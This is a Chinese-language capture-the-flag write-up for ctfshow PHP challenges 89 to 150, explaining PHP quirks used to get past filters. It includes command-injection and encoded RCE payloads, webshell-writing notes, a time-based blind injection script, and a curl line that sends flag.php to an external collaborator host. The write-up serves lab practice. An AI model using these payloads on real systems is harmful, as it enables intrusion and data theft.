目錄
?php特性
89:直接數組繞過preg_match當遇到數組時會直接報錯輸出0
90:這里利用了intval的特性
91:這里需要細節一點
92-93:這兩題的方法很多可以發散思維
94:還是利用小數繞過例如4476.0
95:這里在最前面使用%0a或者隨便一個其他的添加一個字節隔離開在使用八進制就可以繞過
96:可用php偽協議或者./flag.php繞過
97:簡單的數組繞過
98:php三元運算符
99:in_array函數漏洞
100:沒有設置什么過濾直接命令執行就好###101題的弱化版
101:ReflectionClass 建立反射類
102:還是寫一句話木馬進服務器
113:和102同理只是把php改為
114:隨便上傳兩個相同的字符
105:考察變量覆蓋
106:這里直接可以用數組繞過,和繞過MD5一樣,都是sha加密
107:parse_str函數
?編輯
108:簡單繞過
109:這里學到了利用反序列化的__construct魔法函數來利用
110:php的內置函數FilesystemIterator的利用
111:直接利用php的全局變量
112和114:直接利用php偽協議讀取
113:is_file函數能處理的長度有限制
115:
123:在php中參數加'.'會被替換掉,除非參數中含有'+'或者'空格'或者'[ ]'這些,這些會被替換為'_',并且保留'.'這一類會被替換掉的符號
125:和123差不多,但是過濾更干凈了,利用函數嵌套
126:這里利用到了$a=$_SERVER['argv'];
127:利用php的特性繞過
128:新知識點
129:stripos(1,2)查找2在1中第一次出現的位置
130:直接繞過,0相當于FALLS
131:關于PHP正則的溢出
132:關于php的邏輯運算符
133:利用變量覆蓋再利用curl可以傳輸文件信息
134:$_POST是個幌子
135:這里同樣可以用curl來解,利用反斜杠繞過就可以,前提是他沒有禁用反斜杠
136:tee命令,可以實現輸出又能輸入到文件
137:call_user_func()函數調用方法
138:相當于禁用了::
139:命令盲注###這里有個問題,{}這個括號可能跑不出來要自己加
140:讓傳入的兩個函數運行后是0或者false或空
141:利用php計算來繞過return
142:0乘任何數都為0
143:這里和141同理,但是將取反的符號過濾了,所以這里用異或
144:也是同樣的只是稍微繞了一下(使用取反,異或,或,都可以)
145:這里其他都還是和143-144一樣,只是使用php的if函數的變式來繞過
146:'|','^'同樣也可以當作運算符用來繞過return
147:涉及兩個知識點create_function的代碼注入以及php命令空間
148:異或繞過即可或者非預期
149:條件競爭或者直接在index.php中插入木馬
150:這里有多種方法可以解,非預期、日志文件包含、session文件包含、臨時文件上傳###這里演示一種
?150_plus:這一題利用phpinfo來進行條件競爭創建webshell在服務器上
?php特性
89:直接數組繞過preg_match當遇到數組時會直接報錯輸出0
90:這里利用了intval的特性
payload:
num=4476%0a
4476%0a不絕對等于4476應為%0a相當于是空格
但是intval(4476%0a,0)這里intval函數用于獲取變量的整數值,所以會排除掉%0a所以
intval(4476%0a,0)===4476
intval(a,b)
如果b=0那么會自己去判斷a是什么進制,例如a=0x開頭則是18進制,0開頭則是8進制,也可以直接設置b=10進制之類的
91:這里需要細節一點
/m會多行匹配意思就是
a
php
這樣也能匹配到
而這里就只能匹配第一行所以能繞過
92-93:這兩題的方法很多可以發散思維
- 利用intval可以計算其他進制來繞過,例如使用八進制? ?payload:010574
- 或者利用intval取整的特性4476.1####92題不行
- 92題可以使用16進制繞過
94:還是利用小數繞過例如4476.0
這里不知道為什么4476.0可以但是4476.1或者4476.2其他的數字不行
95:這里在最前面使用%0a或者隨便一個其他的添加一個字節隔離開在使用八進制就可以繞過
payload:
%0a010574
96:可用php偽協議或者./flag.php繞過
97:簡單的數組繞過
原理:當md5函數加密數組時會報錯NULL,當兩a和b同時都是數組時,md5(a)===md5(b)等于NULL===NULL
解法2:利用明文不同但是hashi值相同的兩個字符串
98:php三元運算符
三元運算符就是php的if函數的變式:
例如:$a = $b == 3?4:5;? ?等同于if($b == 3){$a = 4}else{$a == 5}
$_GET?$_GET=&$_POST:'flag';
等于if($_GET){$_GET=&$_POST}else{'flag'}
解析:當通過get方式傳入參數時就把get傳入參數改為post傳入參數
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
因為已經表名了當通get傳參直接變成POST傳參所以這里應該變為
if($_POST['flag']=='flag'){$_POST=&$_COOKIE}else{'flag'}
解析:只要有通過post傳輸參數flag=flag,那么POST傳入參數改為COOKIE傳入參數
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
還是同理,因為了通過post傳輸參數flag=flag直接變成COOKIE傳參所以這里應該變為
if($_COOKIE['flag']=='flag'){$_COOKIE=&_SERVER}else{'flag'}
解析:只要有通過COOKIE傳輸參數flag=flag,那么COOKIE傳入參數改為SERVER傳入參數
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
最后這里
highlight_file(if($_SERVER['HTTP_FLAG']=='flag'){$flag}else{__FILE__})
所以最后payload:
- ?a=1? ? ? ? ? ? ? ?####隨便傳入一個get引用第一個方法將$_GET傳參改為$_POST
- post傳參:flag=flag? ? ? ?####將$_POST傳參改為$_COOKIE
- Cookie: flag=flag? ? ? ? ?####將$_COOKIE傳參改為$_SERVER
- Flag: flag? ? ? ? ? ####獲取到flag
99:in_array函數漏洞
當type參數沒有設置的話他不會檢查數據和數組的類型是否相同
例如:
in_array(1.abc,1),一個是字符串一個是數組,但是沒有設置第三個參數,就可以形成自動轉換,1.abc自動轉換為1
100:沒有設置什么過濾直接命令執行就好###101題的弱化版
payload1:
?v1=21&v2=var_dump($ctfshow)/*&v3=*/;
payload2:
?v1=1&v2=system('ls')/*&v3=*/;
payload3:
?v1=1&v2=cp ctfshow.php 1.txt/*&v3=*/;? ? ####訪問1.txt就可以訪問
101:ReflectionClass 建立反射類
從提示可知少給了一位flag,拿到bp爆破就好
102:還是寫一句話木馬進服務器
substr(a,b)函數是一個截取函數,a是需要被截取的字符串,b是需要從第幾位開始截取###從零開始數
call_user_func函數類似于一種特別的調用函數的方法
file_put_contents函數是一個寫入字符串進文件的函數,也可以通過此函數創建文件并寫入東西
構造payload:
113:和102同理只是把php改為<?=就好,這個等同于<?php echo
114:隨便上傳兩個相同的字符
105:考察變量覆蓋
foreach函數:通過get傳入?a=b那么通過foreach函數使$key=a而$value=b
$$key=$$value,這里的意思就是把原本的值當作變量名用了
這里的就相當于是$$key=$$value? ? <>? ? $a=$b
106:這里直接可以用數組繞過,和繞過MD5一樣,都是sha加密
107:parse_str函數
這里會通過parse_str把$v1的值給$v2有點像賦值
給v1傳入flag=1,賦值以后,$v2=([flag] => 1)
108:簡單繞過
ereg(a,b)類似于搜索,a是條件類似于正則,b使字符串如果b中有a的要求的東西則輸出真
ereg函數存在NULL截斷漏洞,導致了正則過濾被繞過
strrev()是取反函數傳入abc返回cba這種
109:這里學到了利用反序列化的__construct魔法函數來利用
__cddonstruct魔法函數當使用new實例化一個對象的時候就會引用
payload:
v1=
class{
? ? public function __construct(){
? ? ? ? system('ls')
? ? }
}
v2=1
連起來就是echo new (class{public function __construct(){system('ls')}}1())
110:php的內置函數FilesystemIterator的利用
FilesystemIterator()可以讀取指定的目錄文件
fetcwd()可以獲取當前目錄的路徑
111:直接利用php的全局變量
112和114:直接利用php偽協議讀取
113:is_file函數能處理的長度有限制
解答1:
/proc/self/root表示根目錄
利用這個多次添加讓is_file函數認為這不是個文件
解答2:
php中的zip偽協議
官方用法compress.zlib://file.gz? ? ? ? ?compress.zlib://file.bz2
115:
trim()函數用于移除字符串兩側的空格
這里利用%0c繞過相當于是<,并且并不會被trim過濾掉,并且輸入的參數還是int型
123:在php中參數加'.'會被替換掉,除非參數中含有'+'或者'空格'或者'[ ]'這些,這些會被替換為'_',并且保留'.'這一類會被替換掉的符號
125:和123差不多,但是過濾更干凈了,利用函數嵌套
126:這里利用到了$a=$_SERVER['argv'];
$_SERVER['argv']:
傳遞給該腳本的參數的數組。腳本以命令行方式運行時,argv變量傳遞給程序C語言樣式的命令行參數。當通過GET方式調用時,該變量包含query string。
大致來說就是會把接收的數據變成數組,數據用分隔號隔開例如+之類的
payload:
get:$a=a+fl0g=flag_give_me
post=CTF_SHOW=2&CTF[SHOW.COM=1&fun=parse_str($a[1])
這里通過$_SERVER['argv']給$a指定了他的方式
第一個參數$_SERVER['argv'][0]是腳本名,其余的是傳遞給腳本的參數(例如這樣的$a[1])
parse_str函數:
127:利用php的特性繞過
$_SERVER['QUERY_STRING']獲取 URL 數據并使用 PHP 中的 Explode 函數將數據轉換為數組
128:新知識點
_()==gettext() 是gettext()的拓展函數,開啟text擴展。需要php擴展目錄下有php_gettext.dll
get_defined_vars — 返回由所有已定義變量所組成的數組 這樣可以獲得 $flag
129:stripos(1,2)查找2在1中第一次出現的位置
利用目錄穿越例如/ctfshow/../../../etc/passwd
130:直接繞過,0相當于FALLS
131:關于PHP正則的溢出
當存在這樣的情況時可能會出現正則溢出的情況
例如:
原字符:abcd? ? ? ? ? ? ? ? 正則:.*?d
這里的.*?會率先匹配第一個字符a但是他選擇先不匹配,因為是非貪婪模式(在可以匹配和不匹配之間優先選擇不匹配),這里會把選擇權給d,d回去匹配下一個字符b,如果不匹配選擇權又會回到.*?去匹配b,但是還是因為非貪婪模式,不回去直接匹配,又把選擇權給d,直到匹配到最后一個字符d才會停下
import requestsurl = r'http://a3835817-be92-4fb2-ba94-2db402037f5a.challenge.ctf.show/'data = {'f': 'aaaaaaaa'*130000+'36Dctfshow'
}a = requests.post(url=url, data=data)
print(a.text)
132:關于php的邏輯運算符
對于“與”(&&) 運算:?x && y?當x為false時,直接跳過,不執行y;
對于“或”(||) 運算?:???x||y?當x為true時,直接跳過,不執行y。
133:利用變量覆蓋再利用curl可以傳輸文件信息
payload:`$F`;+curl -X POST -F a=flag.php https://lj8u9k8tr39ry1cpwrqhz7ndd4jx7nvc.oastify.com
134:$_POST是個幌子
$_SERVER['QUERY_STRING']:
這里會獲取url里?后面的數據
parse_str():
將這樣的a=1&b=2給附上值,變成$a=1? $b=2
extract():
把數組的鍵值和鍵名當作變量名和變量值,例如a[b]=c那么extract(a[b])? ? <==>? ? b=c
135:這里同樣可以用curl來解,利用反斜杠繞過就可以,前提是他沒有禁用反斜杠
136:tee命令,可以實現輸出又能輸入到文件
例如:cat flag.php|tee 1? ? ? ?看flag.php文件又能輸出到文件1里
137:call_user_func()函數調用方法
調用類里的方法時
array("a","b")? ?<==>? ?a::b
138:相當于禁用了::
但是call_user_func(array("a","b"))使用array創建數組調用類里面的方法
所以傳輸的時候可以使用變式,直接傳數組
例如:a[0]=a? ? ?a[1]=b? ? ? ?這樣和使用array來創建數組是相同的
139:命令盲注###這里有個問題,{}這個括號可能跑不出來要自己加
ls / -1? 自動換行? ? ?awk? "NR==1"? 取第一排? ? ? cut -c 1? 取第一個
if [ a == b ];then echo 123;fi? ? ?if的[]里必須有間隔不然會報錯,如果a等于b執行then echo 123,錯誤則執行fi
import requestsurl = r"http://16c540da-b9a6-4523-bccd-019f974cb794.challenge.ctf.show/?c="
flag1 = "qwertyuiopasdfghjklzxcvbnm_-=+[]{};\':\",./<>?123456789."
flag = ""for i in range(1, 6):for a in range(1, 32):for b in flag1:payload = f"if [ `ls / -1|awk \"NR=={i}\"|cut -c {a}` == \"{b}\" ];then sleep 4;fi"try:requests.get(url=url+payload, timeout=3)except:flag += bprint(flag)break
140:讓傳入的兩個函數運行后是0或者false或空
141:利用php計算來繞過return
?####這里141和143-144可以去看我的這篇博文
無字母數字rce總結(自增、取反、異或、或、臨時文件上傳)-CSDN博客
/^\W+$/
?作用是匹配非數字字母下劃線的字符可使用取反來繞過
<?phpecho urlencode(~'system');
echo ' ';
echo urlencode(~'\'ls\''
1-phpinfo()-1? =? 2? ? ? ?return在輸出計算結果的同時,也會把phpinfo()的結果輸出
payload:v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%D8%93%8C%D8)-
142:0乘任何數都為0
143:這里和141同理,但是將取反的符號過濾了,所以這里用異或
?####這里141和143-144可以去看我的這篇博文
無字母數字rce總結(自增、取反、異或、或、臨時文件上傳)-CSDN博客
144:也是同樣的只是稍微繞了一下(使用取反,異或,或,都可以)
只是把v2和v3換了個位置,給v2賦值‘-’
?####這里141和143-144可以去看我的這篇博文
無字母數字rce總結(自增、取反、異或、或、臨時文件上傳)-CSDN博客
145:這里其他都還是和143-144一樣,只是使用php的if函數的變式來繞過
1?a:b
等同于
if 1{
a;
}else{
b;
}
payload:
(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%99%d5)
system cat f*
146:'|','^'同樣也可以當作運算符用來繞過return
147:涉及兩個知識點create_function的代碼注入以及php命令空間
create_function的代碼注入###本函數已自 PHP 7.2.0 起被廢棄,并自 PHP 8.0.0 起被移除
此函數在內部執行? eval(),因此具有跟? eval()?相同的安全問題,就是因為他創建匿名函數的同時會內部執行eval,就會直接將里面的參數全部執行了
?
???例如:
create_function(a,b)
等同于
function xxx(a){
b
}
php命令空間
在PHP中普通的調用函數方式相當于是調用的相對路徑,例如調用create_function,其實是調用的\create_function此路徑的函數,在php中可以自定義命名空間,但是最基本的命名空間就是調用\下面的函數
148:異或繞過即可或者預期解
149:條件競爭或者直接在index.php中插入木馬
150:這里有多種方法可以解,非預期、日志文件包含、session文件包含、臨時文件上傳###這里演示一種
日志文件包含:
這里需要vip這個變量等于1? isvip函數才會返回true才能最后利用到這里的include函數
而要讓isVIP這個變量賦值為1,需要利用到extract函數####這里134題也講過if($isVIP && strrpos($ctf, ":")===FALSE){include($ctf); }
extract():
把數組的鍵值和鍵名當作變量名和變量值,例如a[b]=c那么extract(a[b])? ? <==>? ? b=c
?150_plus:這一題利用phpinfo來進行條件競爭創建webshell在服務器上
class_exists檢查類是否被定義
__autoload — 嘗試加載未定義的類會被調用
利用extract(..CTFSHOW..);來覆蓋$__CTFSHOW__
####關于符號? ' . '? 這個在之前做過解釋,在php里,變量如果使用特殊字符如'['和'.'還有空格這一類的,會自動被加載為_
這里似乎被刪減過,只要找到phpinfo就能獲得flag
最后payload:?..CTFSHOW..=phpinfo
但是這里還是要對這個條件競爭做一個筆記
這里是vuhub上做出的解釋
##不理解為什么會出現臨時文件可以去看這篇無字母數字rce總結(自增、取反、異或、或、臨時文件上傳)-CSDN博客
大致來講就是,通過post傳入參數時同時上傳的文件會被服務器存為臨時文件,但在每次執行完命令之后就會立馬刪除,必須要在它沒刪除之前訪問它才能讓他保留,但這種情況幾乎不存在,所以需要卡bug,通過phpinfo頁面來增加他執行完成的時間,上面有原理。